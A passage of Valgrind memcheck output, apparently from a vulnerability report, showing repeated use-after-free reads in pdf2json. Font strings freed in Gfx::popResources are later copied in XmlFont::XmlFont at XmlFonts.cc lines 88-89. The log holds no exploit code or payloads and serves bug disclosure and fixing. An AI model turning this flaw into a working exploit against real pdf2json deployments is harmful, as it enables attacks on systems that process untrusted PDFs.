Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 1 ==22556== at 0x4C32758: memcpy@@GLIBC_2.14 (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C36D: GString::GString(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x406434: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:88) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2afac is 12 bytes inside a block of size 16 free'd ==22556== at 0x4C2F74B: operator delete[](void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C698: GString::~GString() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x469472: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E80F: operator new[](unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48E420: GString::resize(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C1C7: GString::GString(char const*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x468F8C: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 4 ==22556== at 0x41CA4E: GString::getLength() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C320: GString::GString(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x40644C: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:89) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2af50 is 0 bytes inside a block of size 16 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46947A: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x468F7E: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 8 ==22556== at 0x409098: GString::getCString() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C354: GString::GString(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x40644C: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:89) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2af58 is 8 bytes inside a block of size 16 free'd ==22556== at 0x4C2F24B: operator delete(void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x46947A: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E0EF: operator new(unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x468F7E: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 8 ==22556== at 0x4C326C8: memcpy@@GLIBC_2.14 (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C36D: GString::GString(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x40644C: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:89) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2afa0 is 0 bytes inside a block of size 16 free'd ==22556== at 0x4C2F74B: operator delete[](void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C698: GString::~GString() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x469472: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E80F: operator new[](unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48E420: GString::resize(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C1C7: GString::GString(char const*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x468F8C: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 2 ==22556== at 0x4C32720: memcpy@@GLIBC_2.14 (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C36D: GString::GString(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x40644C: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:89) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2afa8 is 8 bytes inside a block of size 16 free'd ==22556== at 0x4C2F74B: operator delete[](void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C698: GString::~GString() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x469472: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E80F: operator new[](unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48E420: GString::resize(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C1C7: GString::GString(char const*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x468F8C: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== ==22556== Invalid read of size 1 ==22556== at 0x4C32758: memcpy@@GLIBC_2.14 (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C36D: GString::GString(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x40644C: XmlFont::XmlFont(GString*, int, double, GfxRGB) (XmlFonts.cc:89) ==22556== by 0x40328C: HtmlString::HtmlString(GfxState*, double, double, XmlFontAccu*) (ImgOutputDev.cc:88) ==22556== by 0x4036BE: HtmlPage::beginString(GfxState*, GString*) (ImgOutputDev.cc:237) ==22556== by 0x462C57: Gfx::doShowText(GString*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46243E: Gfx::opShowText(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454536: Gfx::go(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454311: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46627C: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Address 0x5b2afac is 12 bytes inside a block of size 16 free'd ==22556== at 0x4C2F74B: operator delete[](void*) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48C698: GString::~GString() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x469472: GfxFont::~GfxFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C587: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46C5D7: Gfx8BitFont::~Gfx8BitFont() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46EEC9: GfxFontDict::~GfxFontDict() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x4534F2: GfxResources::~GfxResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467CC3: Gfx::popResources() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x466309: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465CE0: Gfx::doForm(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x464230: Gfx::opXObject(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x454B1D: Gfx::execOp(Object*, Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== Block was alloc'd at ==22556== at 0x4C2E80F: operator new[](unsigned long) (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==22556== by 0x48E420: GString::resize(int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x48C1C7: GString::GString(char const*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x468F8C: GfxFont::makeFont(XRef*, char*, Ref, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x46ECFB: GfxFontDict::GfxFontDict(XRef*, Ref*, Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x453380: GfxResources::GfxResources(XRef*, Dict*, GfxResources*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x467C63: Gfx::pushResources(Dict*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==22556== by 0x465DBB: Gfx::doForm1(Object*, Dict*, double*, double*, int, int, GfxColorSpace*, int, int, int, Function*, GfxColor*) (in 